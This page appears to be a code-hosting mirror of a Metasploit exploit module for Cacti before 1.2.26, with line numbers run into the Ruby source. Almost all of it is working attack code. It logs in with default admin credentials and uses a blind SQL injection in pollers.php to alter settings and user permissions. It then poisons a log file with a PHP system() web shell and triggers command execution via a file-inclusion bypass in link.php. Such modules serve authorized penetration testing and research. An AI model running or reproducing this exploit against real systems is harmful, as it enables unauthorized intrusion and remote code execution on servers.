Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::SQLi10include Msf::Exploit::FileDropper11include Msf::Exploit::Cacti12prepend Msf::Exploit::Remote::AutoCheck1314class CactiError < StandardError; end15class CactiNotFoundError < CactiError; end16class CactiVersionNotFoundError < CactiError; end17class CactiNoAccessError < CactiError; end18class CactiCsrfNotFoundError < CactiError; end19class CactiLoginError < CactiError; end2021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Cacti RCE via SQLi in pollers.php',26'Description' => %q{27This exploit module leverages a SQLi (CVE-2023-49085) and a LFI28(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to29achieve RCE. Authentication is needed and the account must have access30to the vulnerable PHP script (`pollers.php`). This is granted by31setting the `Sites/Devices/Data` permission in the `General32Administration` section.33},34'License' => MSF_LICENSE,35'Author' => [36'Aleksey Solovev', # Initial research and discovery37'Christophe De La Fuente' # Metasploit module38],39'References' => [40[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi41[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)42[ 'CVE', '2023-49085'], # SQLi43[ 'CVE', '2023-49084'] # LFI (RCE)44],45'Platform' => ['unix linux win'],46'Privileged' => false,47'Arch' => ARCH_CMD,48'Targets' => [49[50'Linux Command',51{52'Arch' => ARCH_CMD,53'Platform' => [ 'unix', 'linux' ]54}55],56[57'Windows Command',58{59'Arch' => ARCH_CMD,60'Platform' => 'win'61}62]63],64'DefaultOptions' => {65'SqliDelay' => 366},67'DisclosureDate' => '2023-12-20',68'DefaultTarget' => 0,69'Notes' => {70'Stability' => [CRASH_SAFE],71'Reliability' => [REPEATABLE_SESSION],72'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]73}74)75)7677register_options(78[79OptString.new('USERNAME', [ true, 'User to login with', 'admin']),80OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),81OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])82]83)84end8586def sqli87@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|88sqli_final_payload = '"'89sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')90sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""91send_request_cgi(92'uri' => normalize_uri(target_uri.path, 'pollers.php'),93'method' => 'POST',94'keep_cookies' => true,95'vars_post' => {96'__csrf_magic' => @csrf_token,97'name' => 'Main Poller',98'hostname' => 'localhost',99'timezone' => '',100'notes' => '',101'processes' => '1',102'threads' => '1',103'id' => '2',104'save_component_poller' => '1',105'action' => 'save',106'dbhost' => sqli_final_payload107},108'vars_get' => {109'header' => 'false'110}111)112end113end114115def check116# Step 1 - Check if the target is Cacti and get the version117print_status('Checking Cacti version')118res = send_request_cgi(119'uri' => normalize_uri(target_uri.path, 'index.php'),120'method' => 'GET',121'keep_cookies' => true122)123return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?124125html = res.get_html_document126begin127@cacti_version = parse_version(html)128version_msg = "The web server is running Cacti version #{@cacti_version}"129rescue CactiNotFoundError => e130return CheckCode::Safe(e.message)131rescue CactiVersionNotFoundError => e132return CheckCode::Unknown(e.message)133end134135if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')136print_good(version_msg)137else138return CheckCode::Safe(version_msg)139end140141# Step 2 - Login142@csrf_token = parse_csrf_token(html)143return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?144145begin146do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)147rescue CactiError => e148return CheckCode::Unknown("Login failed: #{e}")149end150151@logged_in = true152153# Step 3 - Check if the user has enough permissions to reach `pollers.php`154print_status('Checking permissions to access `pollers.php`')155res = send_request_cgi(156'uri' => normalize_uri(target_uri.path, 'pollers.php'),157'method' => 'GET',158'keep_cookies' => true,159'headers' => {160'X-Requested-With' => 'XMLHttpRequest'161}162)163return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?164return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401165return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200166167# Step 4 - Check if it is vulnerable to SQLi168print_status('Attempting SQLi to check if the target is vulnerable')169return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable170171CheckCode::Vulnerable172end173174def get_ext_link_id175# Get an unused External Link ID with a time-based SQLi176@ext_link_id = rand(1000..9999)177loop do178_res, elapsed_time = Rex::Stopwatch.elapsed_time do179sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")180end181break if elapsed_time < datastore['SqliDelay']182183@ext_link_id = rand(1000..9999)184end185vprint_good("Got external link ID #{@ext_link_id}")186end187188def exploit189if @csrf_token.blank? || @cacti_version.blank?190res = send_request_cgi(191'uri' => normalize_uri(target_uri.path, 'index.php'),192'method' => 'GET',193'keep_cookies' => true194)195fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?196197html = res.get_html_document198if @csrf_token.blank?199print_status('Getting the CSRF token to login')200@csrf_token = parse_csrf_token(html)201# exit early since without the CSRF token, we cannot login202fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?203204vprint_good("CSRF token: #{@csrf_token}")205end206207if @cacti_version.blank?208print_status('Getting the version')209begin210@cacti_version = parse_version(html)211vprint_good("Version: #{@cacti_version}")212rescue CactiError => e213# We can still log in without the version214print_bad("Could not get the version, the exploit might fail: #{e}")215end216end217end218219unless @logged_in220begin221do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)222rescue CactiError => e223fail_with(Failure::NoAccess, "Login failure: #{e}")224end225end226227@log_file_path = "log/cacti#{rand(1..999)}.log"228print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")229@log_setting_name_bak = '_path_cactilog'230sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")231@do_settings_cleanup = true232sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")233register_file_for_cleanup(@log_file_path)234235print_status("Inserting the log file path `#{@log_file_path}` to the external links table")236log_file_path_lfi = "../../#{@log_file_path}"237# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):238# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);239log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')240get_ext_link_id241sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")242@do_ext_link_cleanup = true243244print_status('Getting the user ID and setting permissions (it might take a few minutes)')245user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")246fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)247sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")248@do_perms_cleanup = true249250print_status('Logging in again to apply new settings and permissions')251# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.252# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.253cookie_jar_bak = cookie_jar.clone254cookie_jar.clear255csrf_token_bak = @csrf_token256257begin258@csrf_token = get_csrf_token259rescue CactiError => e260fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")261end262263begin264do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)265rescue CactiError => e266fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")267end268269print_status('Poisoning the log')270header_name = rand_text_alpha(1).upcase271sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")272273print_status('Triggering the payload')274# Expecting no response275send_request_cgi({276'uri' => normalize_uri(target_uri.path, 'link.php'),277'method' => 'GET',278'keep_cookies' => true,279'headers' => {280header_name => payload.encoded281},282'vars_get' => {283'id' => @ext_link_id,284'headercontent' => 'true'285}286}, 1)287288# Restore the cookie_jar and the CSRF token to run cleanup without being blocked289cookie_jar.clear290self.cookie_jar = cookie_jar_bak291@csrf_token = csrf_token_bak292end293294def cleanup295super296297if @do_ext_link_cleanup298print_status('Cleaning up external link using SQLi')299sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")300end301302if @do_perms_cleanup303print_status('Cleaning up permissions using SQLi')304sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")305end306307if @do_settings_cleanup308print_status('Cleaning up the log path in `settings` table using SQLi')309sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")310sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")311end312end313end314315316